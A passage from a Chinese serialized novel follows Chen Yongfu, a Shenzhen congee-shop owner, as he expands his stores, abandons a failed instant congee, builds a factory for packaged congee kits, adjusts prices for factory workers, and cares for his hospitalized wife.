“我知道。”陈永福叹口气,“秀英,你那边顺利吗?”
“顺利。第二家店位置好,工人多。我按深圳的模式,又加了本地口味,应该没问题。”
“那就好。”
挂了电话,陈永福想,黄秀英确实成长了。遇事有办法,不慌。也许真该放手让她闯。
南山店停业三天,损失不小。但陈永福觉得值。至少让员工知道,规矩不是儿戏。
三天后,南山店重新开业。刘师傅见了陈永福,有点讪讪的:“老板,我错了。”
“知道错就好。”陈永福说,“刘师傅,你是我请的老师傅,要带好头。你带头不守规矩,下面的人怎么服?”
“我知道了,以后一定注意。”
“不光注意,要做到。”陈永福拍拍他的肩,“店里生意好,你奖金也多。这是为你自己。”
“哎。”
小玲的健康证办好了,员工的也齐了。新买了带盖的垃圾桶,生熟食分了区。店里看着整洁多了。
陈永福检查了一遍,点点头:“保持住。”
“一定。”
回到罗湖店,王建军说:“老板,培训班通知下来了,三月一号开学。”
“好事,好好学。”
“可是……三个月,晚上上课,店里怎么办?”
“店里我安排。”陈永福说,“你安心学,学成了帮我大忙。”
“谢谢老板。”
王建军去培训班,罗湖店得有人管。陈永福想提拔小周,但小周太年轻,才二十岁。他找来李文杰商量。
“小周可以,但要有人带。”李文杰说,“我建议让黄秀英抽空回来,带他一个月。或者,陈老板你亲自带。”
“秀英在东莞忙,回不来。”陈永福说,“我自己带吧。”
“您亲自带最好。”李文杰说,“不过陈老板,您不能永远亲力亲为。得培养接班人。”
“我知道。”陈永福说,“慢慢来。”
二月下旬,天气暖和了些。深圳的人慢慢回满了,街上又热闹起来。店里生意恢复了,每天能卖三百多碗。
速食粥项目也有了进展。郑文达打电话来,说工厂地址选好了,在宝安西乡,租了个旧厂房,正在改造。设备从香港进口,一个月后能到。
“陈老板,配方的事,你得抓紧。”郑文达说,“我们要试生产,调口味。”
“好,我准备。”
陈永福开始琢磨速食粥的配方。白粥好办,米和水,比例调好就行。皮蛋粥和海鲜粥麻烦,皮蛋的腥味,海鲜的腥味,怎么去?怎么保持鲜味?
他买了几包香港产的速食粥,拆开研究。都是粉状的,开水一冲,成糊状。味道一般,有股添加剂的味道。
他想做不一样的。要能看见米粒,能看见料,像现熬的。但这技术难,保鲜也难。
他去找何老板。何老板认识个食品工程师,是香港人,姓陈,六十多了,退休后被返聘到深圳一家食品厂当顾问。
“陈工,这是我朋友,陈永福,做粥铺的。”
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何老板介绍。
陈工戴老花镜,头发花白,说话慢条斯理:“陈老板想做速食粥?”
“是,但不想做粉状的,想做能看见米粒的。”
“难。”陈工摇头,“米粒要复原,技术复杂。而且保质期短,成本高。”
“那……那怎么办?”
“我建议做半成品。”陈工说,“米预处理,脱水,但不完全成粉。加料包,分开包装。吃的时候一起煮,十分钟就好。比现熬快,比速食粥像样。”
陈永福眼睛亮了:“这个好。”
“但设备贵。”陈工说,“要真空包装机,要脱水设备。投资大。”
“大概多少?”
“全套下来,少说十万。”
陈永福心里一沉。郑文达的二十万预算,设备就要十万,再加上厂房、人工、原料,紧巴巴的。
“陈工,能便宜点吗?”
“我帮你问问,看有没有二手的。”陈工说,“深圳现在工厂多,有倒闭的,设备处理。”
“麻烦陈工了。”
从陈工那儿出来,何老板说:“陈老板,别急,慢慢来。先试做一批,看看市场反应。”
“嗯。”
回到店里,陈永福开始试做半成品粥。米先泡,再蒸,再烘干。皮蛋切碎,真空包装。虾仁、蟹肉,也处理好分开装。
试了几次,味道还行,但米粒干了之后,再煮,口感有点硬。不像现熬的绵软。
他打电话给黄秀英,让她在东莞也试试。黄秀英试了,说:“老板,我觉得可以加点淀粉,让粥稠一点。米粒硬,但稠了就不明显了。”
“加多少?”
“一点点,不能多,多了腻。”
陈永福试了,果然好点。但还是不满意。他觉得,速食粥再怎么做,也不如现熬的。这是根本矛盾。
三月初,王建军的培训班开学了。上课地点在深圳大学夜校部,每周一三五晚上,七点到九点半。王建军下班后坐公交车去,下课再坐车回家,到家都十一点了。
陈永福让他打车,公司报销。王建军不肯:“老板,打车贵,我能省就省。”
“省那点钱干嘛?安全重要。”
“没事,我年轻,扛得住。”
陈永福没再坚持。他知道,王建军是替他省钱。这样的员工,难得。
培训班教的内容,王建军回来跟陈永福讲。什么SWOT分析,什么4P营销,什么绩效考核。陈永福听得半懂不懂,但觉得有用。
“老师说,管理要制度化,不能人治。”王建军说,“咱们店现在就是人治,老板你说啥就是啥。老师说,要建流程,建标准,谁来了都能按流程做。”
“那得花时间。”陈永福说。
“花时间是值得的。”王建军认真地说,“老板,等我学完了,帮店里建制度。”
“好。”
三月中旬,倒春寒彻底过去了。深圳进入雨季,三天两头下雨。湿漉漉的,衣服晾不干。
林玉兰的产假休完了,但没回店里。陈永福让她在家照顾晓梅,店里的事不用操心。林玉兰答应了,但闲不住,在家研究新菜式,想给粥铺加些小菜。
“光喝粥单调,配点小菜,客人喜欢。”她说。
“你看着弄,别累着。”
林玉英做了几样:酸豆角、凉拌海带丝、酱黄瓜。拿到店里试卖,一毛钱一小碟,卖得不错。工人喜欢,便宜,下饭。
陈永福想,妻子虽然不在店里,但心还在。这个家,这个生意,是两个人撑起来的。
三月下旬,东莞传来消息:黄秀英的第二家店开业半个月,生意不错,每天能卖两百多碗。她还想在东莞开第三家,问陈永福意见。
陈永福回电话:“秀英,稳一稳。两家店够你忙了,先把这两家做好。”
“老板,机会不等人。”黄秀英说,“东莞现在发展快,工厂一个个建,工人越来越多。咱们不占,别人就占了。”
“那也不能太急。”陈永福说,“管理跟不上,店开再多也没用。你先培养人,等有人能管店了,再开。”
“好吧。”黄秀英不太情愿,但答应了。
挂了电话,陈永福想,黄秀英比他敢闯。这是好事,也是隐患。闯得好,一片天。闯不好,摔得重。他得拉着点,不能让她太飘。
月底盘点,三家店三月份的营业额出来了。罗湖五千八,南山四千二,福田四千八。总利润两千五。比二月好,但增长慢了。
李文杰说:“瓶颈期到了。单靠门店,增长有限。得开拓新业务。”
新业务就是速食粥。但陈永福心里还是没底。
四月初,陈工那边传来好消息:找到一套二手设备,八成新,只要六万。郑文达去看过了,说能用。
“陈老板,设备解决了,咱们可以加快进度。”郑文达在电话里说,“五一前试生产,怎么样?”
“行。”
陈永福开始全力以赴研究配方。他把自己关在厨房里,一锅一锅地试。米怎么处理,料怎么配,包装怎么设计。林玉兰帮他试吃,□□也当小评委。
“阿爸,这个太咸。”
“这个米好硬。”
“这个有怪味。”
试了二十几次,终于做出一个还算满意的版本。米粒能复原七八成,味道有现熬的六七成。成本算下来,一包白粥成本一毛,卖两毛。皮蛋粥成本一毛五,卖三毛。海鲜粥成本两毛,卖四毛。
利润空间有,但不大。要看销量。
四月中旬,样品做出来了。郑文达拿去给超市试销,选了十家小超市,每家放二十包,看反应。
一个星期后,结果出来了:卖了八十包,退回一百二十包。退货理由大多是“味道不如现熬的”“太贵”“包装不好看”。
陈永福看着退货报告,心里凉了半截。
郑文达却不太在意:“第一次试销,正常。改进包装,调整口味,再试。”
“郑先生,还要投钱?”
“做生意哪有不投钱的?”郑文达说,“陈老板,别灰心。失败是成功之母。”
话是这么说,但钱是实打实的。设备六万,原料、人工、包装,又花了两万。八万块投进去了,就换来八十包的销量。
陈永福心疼,但没说出来。已经上了船,下不来了。
四月底,深圳突然热起来。夏天来得早,才四月就三十度。商场里冷气开得足,但粥铺灶台前还是热。
陈永福站在灶台前熬粥,汗顺着脖子往下流。他想,也许他就不该搞什么速食粥。老老实实熬粥,开分店,虽然慢,但稳。
可深圳不让人慢。这座城市像一列快车,你不上车,就被甩下。上了车,就得跟着跑,停不下来。
他擦擦汗,继续搅锅里的粥。
粥还是那个粥,米还是那个米,水还是那个水。但熬粥的人,心事重了。
16. 粥料包
速食粥退货的那天下午,深圳下了场急雨。前一秒还是大太阳,后一秒天就黑了,接着豆大的雨点砸下来,噼里啪啦打在商场玻璃顶上。陈永福站在罗湖店门口,看着外面白茫茫的雨幕,手里捏着那份退货报告,纸张被手心的汗浸得发软。
八万块。八十包。这两个数字在脑子里打转,像两把锤子,敲得他太阳穴突突跳。
王建军从后面走过来,小心翼翼地问:“老板,吃饭吗?吴阿姨送饭来了。”
“放那儿吧。”
“老板,您别太……”
“我没事。”陈永福打断他,转身回了办公室。
办公室里堆着速食粥的样品,一箱一箱的,拆开的、没拆开的,散在墙角。陈永福拿起一包白粥,撕开,倒进碗里,冲开水。米粉遇水结块,搅拌后成糊状,稀稀拉拉的,闻着有股添加剂的味道。
他尝了一口,皱眉。确实不行,跟店里熬的差远了。
门被推开,李文杰进来了,手里也拿着包样品。
“陈老板,我尝过了。”李文杰把样品放在桌上,“问题主要在口感。粉状的,没有米粒感。还有就是味道,添加剂太重。”
“我知道。”陈永福把碗推开,“李经理,你说,这事还能做吗?”
“能。”李文杰肯定地说,“但要调整方向。”
“怎么调?”
“不做速食粥,做粥料包。”李文杰说,“米还是生的,预处理过,配上料包。客人买回去,自己煮,十分钟就好。这样既有便利性,又有现煮的口感。”
陈永福想了想:“这不就是陈工说的半成品?”
“对,但更简化。”李文杰拿起笔,在纸上画,“我们提供三种料包:白粥料包,就是预处理好的米。皮蛋粥料包,米加皮蛋粒。海鲜粥料包,米加虾仁蟹肉。包装上印煮法,简单易懂。”
“成本呢?”
“比速食粥低。不用那么复杂的设备,普通真空包装机就行。原料就是米和配料,我们本来就要采购。”
陈永福心动了。这个方向似乎更可行。
“那之前的设备……”
“设备可以用。”李文杰说,“烘干机处理米,真空机包装。只是工艺调整。”
“试试?”
“试试。”
陈永福立刻给陈工打电话。陈工听完,说:“这个思路对。预处理米不难,关键是米的品种和预处理工艺。要选适合快煮的米,不能太硬,也不能太烂。”
“陈工,您能帮忙吗?”
“可以。我有时间,过去看看。”
第二天,陈工来了。六十多岁的老人,精神矍铄,提个小工具箱。他看了设备,又看了米,点点头:“设备能用。米要换,现在的米太黏,快煮不好吃。我推荐一种东北米,价格贵点,但适合。”
“贵多少?”
“一斤贵一毛。”
陈永福算账。一包粥用二两米,成本多两分。能接受。
“那就换。”
“还有工艺。”陈工说,“米不能烘得太干,要保持一定水分。真空包装时加脱氧剂,延长保质期。”
陈永福一一记下。专业的事,得听专业的人。
接下来的一个星期,陈永福和陈工一起试验。每天泡米、蒸米、烘干、包装,再煮了尝。试了十几种米,调整了十几次工艺参数。
林玉英也帮忙,带着晓梅来工厂——其实不算工厂,就是租的厂房一角。晓梅在婴儿车里睡觉,林玉兰帮着记录数据,试吃口味。
“这个太硬。”
“这个黏了。”
“这个有生米味。”
试到第八天,终于做出满意的样品。米粒完整,颜色自然,煮十分钟就开花,口感接近现熬的。配料包也调好了,皮蛋的腥味去了,海鲜的鲜味留着。
陈永福煮了一锅,给郑文达送去。郑文达尝了,点头:“这个好,有米香。”
“郑先生觉得能卖吗?”
“能。”郑文达说,“但包装要改。现在的塑料袋太普通,要设计得好看,印上‘家香’的logo,印上煮法图解。”
“包装得花钱。”
“该花的要花。”郑文达说,“我认识个设计公司,香港的,价格公道。我来安排。”
“行。”
包装设计的事交给郑文达,陈永福继续改进工艺。他租了间小仓库,买了台二手真空包装机,雇了两个工人,开始小批量生产。
工人是王建军介绍的,都是他老乡,老实肯干。陈永福亲自培训,怎么泡米,怎么蒸,怎么烘干,怎么包装。每一步都要记录,温度、时间、湿度,不能差。
生产了五百包,先给三家店试销。放在收银台旁边,一包卖三毛——白粥料包成本一毛二,卖三毛;皮蛋粥料包成本一毛八,卖五毛;海鲜粥料包成本两毛五,卖七毛。
第一天,卖了二十包。第二天,三十包。第三天,五十包。有客人回头来买,说方便,味道也好。
陈永福心里踏实了点。
四月底,包装设计好了。红色的袋子,印着“家香粥料”四个白色大字,下面是煮法图解:1.拆开料包;2.加水煮沸;3.小火煮十分钟;4.享用。简单明了。
郑文达拿去给超市谈,这次不是试销,是正式铺货。谈下来十家超市,每家先铺一百包,卖完补货。
“陈老板,这次要备足货。”郑文达说,“五一假期,超市人多,是机会。”
“好。”
陈永福让工人加班生产。两个工人不够,又招了两个。厂房里二十四小时有人,泡米、蒸米、烘干、包装,流水线作业。
林玉兰不放心,带着晓梅来看。厂房里热气腾腾,米香弥漫。陈永福穿着工装,跟工人一起干活,衣服湿透了贴在背上。
“阿福,你歇会儿。”林玉兰递水给他。
“没事,不累。”陈永福接过水,一口气喝完,“玉兰,你看,咱们有生产线了。”
林玉兰看着那些忙碌的工人,那些成堆的米袋,那些包装好的料包,心里感慨。两年多前,他们还在老街的老榕树下,用一口锅熬粥。现在,居然有生产线了。
“阿福,咱们是不是走得太快了?”
“不快不行。”陈永福说,“深圳就是这样,不快就被甩下。”
林玉兰点点头,没再说话。她抱着晓梅,在厂房里转了转。晓梅睁着大眼睛,好奇地看着那些机器,那些米,那些忙碌的人。
“晓梅,这是你阿爸的工厂。”林玉兰轻声说。
孩子听不懂,但笑了。
五一假期,超市人确实多。家香粥料摆在粮油区,红色的包装显眼。三天假期,十家超市卖了八百包。补货电话打来,要加货。
陈永福既高兴又紧张。高兴的是卖得好,紧张的是怕供不上。工人加班加点,他也跟着干,每天只睡四五个小时。
五月三号,东莞黄秀英打电话来,语气兴奋:“老板,粥料包我这边也试卖了,卖得好!工人买回去,在宿舍煮,方便。你能不能给我供货?”
“你要多少?”
“先要五百包,三种口味各要一些。”
“行,我安排。”
挂了电话,陈永福想,黄秀英真是会抓机会。东莞工人多,宿舍条件有限,粥料包确实适合。
他立刻安排发货。王建军负责联系运输,找辆小货车,第二天就送到东莞。
五月五号,假期结束。盘点下来,五一期间粥料包卖了三千包,收入九百多块,利润四百多。虽然不算多,但开了个好头。
郑文达很满意:“陈老板,我说过,方向对了就能成。”
“是郑先生指点得好。”
“互相成就。”郑文达说,“接下来,我们要扩大规模。宝安那边我看了个厂房,大,能上生产线。要不要去看看?”
“去。”
宝安的厂房在郊区,原来是家玩具厂,倒闭了,厂房空着。面积有两千平米,比现在的大十倍。租金一个月两千,不便宜。
“这里可以做标准化生产线。”郑文达指着空旷的厂房,“这边原料区,这边预处理区,这边包装区,这边仓库。规划好了,一天能产一万包。”
一万包。陈永福被这个数字吓了一跳。
“能卖那么多吗?”
“能。”郑文达说,“深圳现在人口两百万,还在增长。速食市场刚起步,空间大。我们占了先机,就要做大。”
陈永福看着这空荡荡的厂房,想象着机器轰鸣、工人忙碌的场景。一天一万包,一包赚一毛,一天就是一千块利润。一个月三万。
这个数字让他心跳加速。
“设备呢?”
“设备我订新的,从日本进口,自动化程度高。”郑文达说,“投资大概五十万。我出三十万,你出二十万。”
二十万。陈永福手心里冒汗。他所有存款加起来,也就十五万。还差五万。
“郑先生,我……”
“钱不够可以贷款。”郑文达说,“现在政策鼓励,个体户能贷。我可以帮你联系银行。”
陈永福犹豫了。二十万,不是小数。万一赔了,怎么办?
“陈老板,机会不等人。”郑文达看着他,“你想想,两年前,你敢想你有今天吗?两年后,你可能就是深圳速食粥行业的龙头。”
龙头。这个词像火,点燃了陈永福心里的那团东西。
“我回去想想。”
“尽快给我答复。”
从宝安回市区的路上,陈永福一直没说话。王建军开车——新买的面包车,二手的,花了八千。车里放着粥料包的样品,红色的袋子,在座位上晃来晃去。
“老板,真要投二十万?”王建军问。
“不知道。”陈永福看着窗外,“建军,你说呢?”
“我……我不懂这些大事。”王建军老实说,“但我信老板。老板做的事,都有道理。”
陈永福苦笑。他自己都没底,别人怎么信?
回到家,林玉兰在做饭。晓梅在学步车里,摇摇晃晃地走。□□在做作业,看见他回来,叫了声“阿爸”。
“回来了?”林玉兰从厨房探出头,“饭马上好。”
“嗯。”
吃饭时,陈永福把郑文达的提议说了。林玉兰听完,放下筷子。
“二十万?咱们哪有那么多钱?”
“存款十五万,还差五万。郑先生说可以贷款。”
“贷款?”林玉兰声音高了,“阿福,咱们刚还清老街的贷款,又要贷?”
“这次不一样,是扩大生产。”
“生产什么?那些料包?”林玉兰指着墙角堆的样品,“阿福,我知道你想做大,可咱们是熬粥的,不是开工厂的。那些机器,那些设备,咱们懂吗?”
“不懂可以学。”
“学?你多大年纪了?还学?”林玉兰眼圈红了,“阿福,咱们现在这样不好吗?三家店,生意稳当。料包也能卖,慢慢做。为什么要冒那么大险?”
陈永福说不出话。他知道妻子说得对,但他心里那团火,烧得他坐不住。
“玉兰,我……”
“你想想建国,想想晓梅。”林玉兰抹了抹眼睛,“万一赔了,孩子
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们怎么办?咱们回老家都没脸。”
这话刺痛了陈永福。他看看□□,孩子低着头吃饭,不敢说话。晓梅在学步车里,咿咿呀呀地叫。
“让我再想想。”
夜里,陈永福睡不着。他起来,走到阳台。深圳的夜,依然灯火通明。远处工地的塔吊亮着灯,像巨人俯瞰这座城市。
他想起了老街的老榕树。那棵树几十年了,稳稳地立在那儿,看人来人往,看时代变迁。树不急,慢慢长。可人不行,人要快,要赶,要追。
手机响了,是黄秀英。
“老板,睡了吗?”
“没。”
“料包到了,工人都说好。这边超市也想进货,问我能不能长期供。”
“能,要多少?”
“一个月先要两千包。”黄秀英说,“老板,这边市场大,我觉得能做起来。”
“秀英,你说,我该不该投钱开大工厂?”
电话那头沉默了一会儿。
“老板,我说实话,该。”黄秀英说,“我在东莞看到,深圳来的东西都好卖。家香这个牌子,在工人里有口碑。要是能做大了,不光是深圳、东莞,整个广东都能卖。”
“可风险大。”
“做什么没风险?”黄秀英说,“老板,当年你来深圳,不也是冒风险吗?要不是冒险,哪有今天?”
这话让陈永福心里一震。是啊,当年他来深圳,兜里只有几十块钱,不也闯出来了?现在有了基础,反而怕了?
“秀英,你胆子比我大。”
“不是胆子大,是看准了。”黄秀英说,“老板,我信你。你做的决定,我都跟。”
挂了电话,陈永福站在阳台上,很久没动。
风从海上吹来,带着咸味。远处传来轮船的汽笛声,呜——长长的,沉沉的。
他想起郑文达说的“龙头”。想起一天一万包的场景。想起家香的牌子,挂满广东的超市。
心里那团火,烧得更旺了。
第二天,他给郑文达打电话。
“郑先生,我投。二十万,我想办法凑齐。”
“好!”郑文达很高兴,“陈老板有魄力。你放心,我们一起做,一定能成。”
钱的事,陈永福想了三个办法:存款十五万全拿出来;找何老板借三万——何老板爽快答应了,说算投资,不要利息;剩下的两万,找银行贷款。
贷款手续比想象中顺利。银行信贷员看了粥铺的流水,看了粥料包的销售数据,很快批了。两万块,一年期,利率百分之八。
钱凑齐了,合同签了。新工厂开始装修,设备从日本运来,要两个月。
这两个月,陈永福忙得脚不沾地。要盯着现在的生产,要学新设备操作,要培训工人,要跑市场。瘦了一圈,但精神头足。
林玉兰看他这样,没再反对,只是默默支持。每天炖汤,给他补身体。晚上等他回家,不管多晚,都留一盏灯。
六月底,新工厂设备安装好了。全自动生产线,从泡米到包装,一条龙。工人只要看着机器,按按钮就行。
试生产那天,陈永福站在生产线前,看着米从这边进去,那边出来就是包装好的料包。一分钟六十包,一小时三千六百包。
机器轰鸣,米香弥漫。他眼睛有点湿。
两年多前,他站在老街的老榕树下,用一口锅熬粥。现在,他站在自动化生产线前,看着机器替他工作。
时代真快,他也跟上了。
第一批产品下线,他拿了几包回家。煮了一锅,叫林玉兰和孩子们尝。
“阿爸,跟店里的一样!”□□说。
“嗯,一样。”陈永福摸摸他的头。
林玉兰尝了一口,点点头:“是好。”
“玉兰,谢谢你。”陈永福轻声说。
“谢我什么?”
“谢谢你不拦我。”
林玉兰看着他,眼圈红了:“拦也拦不住。你这个人,认准的事,十头牛都拉不回。”
“以后不会了。”陈永福握住她的手,“等工厂稳了,我就轻松了。多陪你和孩子们。”
“你保证?”
“保证。”
保证能不能做到,陈永福不知道。但他知道,这一步他走对了。
新工厂正式投产,日产量一万包。郑文达拿下了深圳五十家超市的供货合同,东莞那边黄秀英也谈下了三十家。一个月销量达到二十万包。
算账下来,一包平均利润一毛,一个月利润两万。扣除成本、人工、租金,净赚一万五。
这个数字,让陈永福悬着的心终于落了地。
七月,深圳最热的时候。新工厂的空调还没装好,车间里像蒸笼。陈永福和工人一起干活,汗如雨下。
但心里是凉的,是踏实的。
他站在车间门口,看着那些忙碌的工人,那些轰鸣的机器,那些成箱的产品。红色包装,印着“家香粥料”,在灯光下泛着光。
这是他陈永福的工厂,是他的粥,是他的深圳。
远处,又有新的工地开工,打桩机的声音咚,咚,咚,像这座城市的心跳,有力,执着。
他知道,他的心跳,也跟上了这个节奏。
不,不是跟上,是融进去了。
他就是深圳,深圳就是他。
汗水滴在地上,很快蒸发了。但印记留了下来,像这座城市的每一个脚印,深深浅浅,都是来过的证明。
陈永福擦了把汗,继续干活。
明天还要早起,还要熬粥,还要看店,还要管工厂。
但今晚,他想好好睡一觉。
17. 粥香
七月流火,这话用在深圳的七月,再贴切不过。
新工厂的空调终于装上了,但车间太大,冷气打到中间就弱了。生产线边上还是热,机器的热气、米蒸腾的热气、包装机的热气,混在一起,像澡堂子。工人们穿着浅蓝色的工服,后背都湿透了,贴在线条上。
陈永福站在生产线末端,看着一包包粥料从传送带上滑下来,掉进纸箱里。机械手自动封箱,打上生产日期,叉车运走。整个过程不用人碰,干净,利落。
可他还是不放心。每天第一批产品出来,他都要拆一包,亲自煮了尝。味道要对,口感要对,颜色要对。差一点都不行。
“陈老板,您太仔细了。”生产经理小孙说。小孙是郑文达从香港请来的,三十岁,戴眼镜,做事一板一眼。“机器设定好了,就不会错。”
“机器是机器,米是米。”陈永福说,“今天的米和昨天的米,可能不一样。”
“我们每批米都检测含水量,调整参数。”
“参数是死的,舌头是活的。”
小孙不说话了,但表情写着“多此一举”。陈永福知道,香港来的经理讲究流程、标准,觉得他这套太土。但他坚持。粥是吃进嘴里的东西,不能全靠机器。
中午,他回罗湖店吃饭。林玉兰带着晓梅在店里,吴阿姨回老家几天,她自己照顾孩子。
店里生意照常,中午坐满了人。王建军在前台忙,看见他来,点点头。小周在后厨,跟着刘师傅学熬粥——南山店稳定后,陈永福把小周调到罗湖店培养,刘师傅来带他。
“老板,吃饭。”林玉兰给他盛了碗粥,又端出两个菜:炒青菜,蒸鱼。
“你吃了没?”
“吃了。”
陈永福坐下吃。晓梅在婴儿车里,抓着个塑料玩具,咿咿呀呀地叫。孩子八个多月了,会爬,会扶站,就是还不会走。
“上午工厂怎么样?”林玉兰问。
“还行,出了点小问题,包装机卡了一次,修好了。”
“你脸色不好,是不是太累了?”
“没事。”陈永福扒拉两口饭,“下午我得去趟超市,看咱们的货卖得怎么样。”
“建军不能去?”
“他下午要去福田店,李经理安排他轮岗。”
林玉兰不说话了,低头收拾碗筷。过了一会儿,她说:“阿福,你是不是管得太多了?工厂有郑先生的人,店里有李经理,你还什么都亲力亲为。”
“不亲自看,不放心。”
“你这样下去,身体垮了怎么办?”林玉兰看着他,“昨晚你几点回来的?十二点。建国等你等到睡着。”
陈永福心里一紧。他昨晚在工厂调试新设备,确实晚了。
“以后我早点。”
“你每次都这么说。”林玉兰抱起晓梅,“我去给晓梅喂奶,你吃完放着,我洗。”
看着妻子的背影,陈永福心里不是滋味。他知道自己忙,顾不上家。但没办法,摊子大了,事多了。
吃完饭,他去超市。罗湖这家超市是新开的,三层楼,东西齐全。家香的粥料摆在粮油区最显眼的位置,红色的包装,一排过去,挺壮观。
他站在货架边看。有个中年妇女走过来,拿起一□□蛋粥料,看了看价格,又放下。拿起白粥料,也放下。最后什么都没买,走了。
陈永福跟上去:“大姐,怎么不买?”
妇女看看他:“太贵了。白粥料三毛,我自己买米煮,一斤米才六毛,能煮好几顿。”
“我们这米好,煮得快。”
“快是快,可多花钱。”妇女摇摇头,“我们打工的,能省就省。”
陈永福愣在原地。妇女走了,他还站着。
是啊,他怎么忘了这个。工人最在乎的是实惠。三毛钱一包,煮一碗粥。自己买米煮,三毛钱能煮三碗。这个账,工人会算。
他立刻给郑文达打电话。
“郑先生,价格有问题。太贵了,工人买不起。”
“贵吗?”郑文达说,“我们成本一毛二,卖三毛,毛利一毛八,不算高。”
“对工人来说高。”陈永福说,“他们宁愿自己买米煮。”
“那你的意见是?”
“降价。白粥料卖两毛,皮蛋粥三毛五,海鲜粥五毛。”
“利润就薄了。”
“薄利多销。”陈永福说,“郑先生,咱们的市场是工人,不是有钱人。他们买得起,才能卖得多。”
郑文达沉默了一会儿:“行,听你的。但包装要改,小包装,成本降下来。”
“好。”
挂了电话,陈永福去福田店找李文杰。李文杰正在培训新员工,看见他来,停下。
“陈老板,有事?”
“李经理,粥料价格要调。”陈永福把情况说了。
李文杰听完,点点头:“我同意。但光降价不够,还要推广。很多工人不知道这个东西,知道了也不一定会煮。”
“怎么推广?”
“搞试吃。”李文杰说,“在超市门口摆个电炉,现场煮,让人尝。好吃了,自然买。”
“行,我安排。”
“还有,包装上煮法图解要更简单。”李文杰拿起一包样品,“现在的图太复杂,工人文化不高,看不懂。改成三步:1.拆开倒锅里;2.加水;3.煮十分钟。”
“好。”
从福田店出来,陈永福觉得心里亮堂了些。李文杰确实有办法,想得细。
他回工厂,召集小孙和几个骨干开会。
“价格要调,包装要改。白粥料降到两毛,量减少,一包煮一碗。皮蛋粥三毛五,海鲜粥五毛。煮法图解简化,三步。另外,搞试吃活动,每个超市派个人,现场煮。”
小孙皱眉:“陈老板,这样成本控制更难了。量减少,包装成本比例上升。试吃活动要人工,要物料。”
“该花的要花。”陈永福说,“先把市场打开,量上去了,成本自然下来。”
“可是……”
“没有可是。”陈永福难得强硬,“按我说的办。”
小孙不说话了,但脸上写着不服。
散会后,陈永福一个人留在会议室。他知道小孙说得对,成本确实会上升。但眼下最重要的不是利润,是市场。市场打开了,什么都好说。
八月,新包装上市。红色袋子,正面印着大大的“家香”,下面一行小字:“十分钟即煮,味道如现熬”。背面是三步煮法图解,简单明了。价格标签换了,白粥料两毛,皮蛋粥三毛五,海鲜粥五毛。
试吃活动也开始了。超市门口支起小桌子,放个电炉,摆几包样品。派去的员工穿着印有“家香粥料”的围裙,现场煮粥,盛在小纸杯里,给路过的人尝。
第一天,效果不明显。很多人以为是推销,绕着走。第二天,有个带孩子的大妈尝了,觉得好,买了两包。第三天,人渐渐多起来。
“这粥真快,十分钟就好?”
“味道不错,跟店里差不多。”
“两毛一包?便宜,买几包试试。”
一周下来,超市反馈:销量涨了三成。
陈永福松了口气。方向对了。
东莞那边,黄秀英也搞了试吃。她在工业区门口摆摊,工人下班路过,免费尝。效果更好,工人觉得方便,适合宿舍煮。
“老板,这边一个月能卖五千包。”黄秀英在电话里说,“我算了一下,一个工人一个月买十包,我们就能卖十万包。”
“别太乐观,慢慢来。”
“我知道。”黄秀英说,“老板,我想在广州也试试。”
“广州?”
“嗯,我有个表姐在广州开小卖部,说可以帮我们卖。我想先拿几百包过去,看看反应。”
陈永福想了想:“行,你安排。但别自己去,派个人去。你现在管两家店,走不开。”
“好。”
挂了电话,陈永福想,黄秀英的步子还是比他快。广州,那是省城,市场更大,竞争也更激烈。但试试也好,不成也没损失。
八月中旬,何老板来找他,说想入股粥料厂。
“陈老板,我看你们这生意有搞头。”何老板说,“我投五万,占一成股份,怎么样?”
陈永福算了一下。工厂总投资七十万(郑文达三十万,他二十万,贷款二十万),五万占一成,不亏。
“何老板愿意投,当然好。不过这事得跟郑先生商量。”
“郑先生那边我打过招呼了,他同意。”
“那就行。”
何老板的加入,让资金压力小了点儿。陈永福用这笔钱买了辆二手货车,专门送货。以前租车,一个月两千,现在自己有车,虽然要保养、要油钱,但长远看划算。
货车买回来的那天,王建军特别兴奋。
“老板,我能不能学开车?”
“你学车干嘛?”
“以后送货,我就能去。”王建军说,“现在司机老陈一个人,忙不过来。”
“你有驾照吗?”
“没有,但可以学。”王建军眼睛亮亮的,“培训班老师说,管理者要多技能,才能管好团队。”
陈永福笑了:“行,去学。学费店里出。”
“谢谢老板!”
王建军真去学了,每周两个下午,去驾校。他学得认真,教练夸他上手快。一个月后,驾照考下来了。
有了车,有了司机,送货效率高了。深圳五十家超市,一天能送完。东莞那边,每周送两次。广州也开始送,量不大,但开了个头。
生意渐渐上了轨道。八月盘点,粥料卖了十五万包,利润两万五。虽然不如预期,但在增长。
陈永福觉得,可以松口气了。
但他松不了。林玉兰病了。
那天晚上,他回家已经十一点。林玉兰在沙发上睡着了,晓梅在旁边哭。他赶紧抱起孩子,发现林玉兰额头滚烫。
“玉兰?玉兰?”
林玉兰睁开眼,声音虚弱:“你回来了……晓梅哭,我哄不动……”
陈永福心里一紧:“你发烧了?”
“不知道,就是没力气。”
他立刻送她去医院。急诊,量体温,三十九度五。医生检查,说是急性乳腺炎,要住院。
“怎么拖到现在才来?”医生责备。
“我……我以为是累了。”林玉兰小声说。
陈永福愧疚得说不出话。妻子病了,他都不知道。
林玉兰住进病房,打点滴。晓梅暂时由吴阿姨照顾——吴阿姨从老家回来了。□□住到张阿姨家,张阿姨热心,说让孩子在她家睡几天。
陈永福白天在医院陪林玉兰,晚上回店里、工厂看看。三天下来,人瘦了一圈。
林玉兰看他这样,说:“你回去吧,我这儿有护士。”
“没事,我陪你。”
“店里怎么办?工厂怎么办?”
“有李经理,有小孙,有建军。”
“他们能代替你吗?”林玉兰看着他,“阿福,我知道你担心我,但生意不能停。你去忙,我这儿真没事。”
陈永福犹豫。
“去吧。”林玉兰握握他的手,“我好了就出院,别担心。”
陈永福点点头,走了。但心里放不下,每隔两小时打个电话。
林玉兰住院五天,出院时瘦了些,但精神好了。医生交代,要注意休息,不能太累。
回到家,陈永福对她说:“玉兰,以后店里的事你别管了,专心照顾孩子。”
“那我做什么?”
“你想做什么就做什么。”陈永福说,“养花,看书,带孩子去公园。就是别累着。”
林玉兰笑了:“我哪有那么娇气。”
“不是娇气,是应该的。”陈永福认真地说,“这些年,你跟着我吃苦,没享过福。现在条件好了,该歇歇了。”
林玉兰眼圈红了:“阿福……”
“听话。”
林玉兰点点头,靠在他肩上。
晓梅爬过来,抱着他的腿,仰着小脸笑。□□放学回来,看见妈妈好了,高兴得直跳。
那一刻,陈永福觉得,什么生意,什么工厂,都不如这个家重要。
但他知道,他停不下来。这个家要养,员工要养,工厂要运转。他得像上紧的发条,一直转。
九
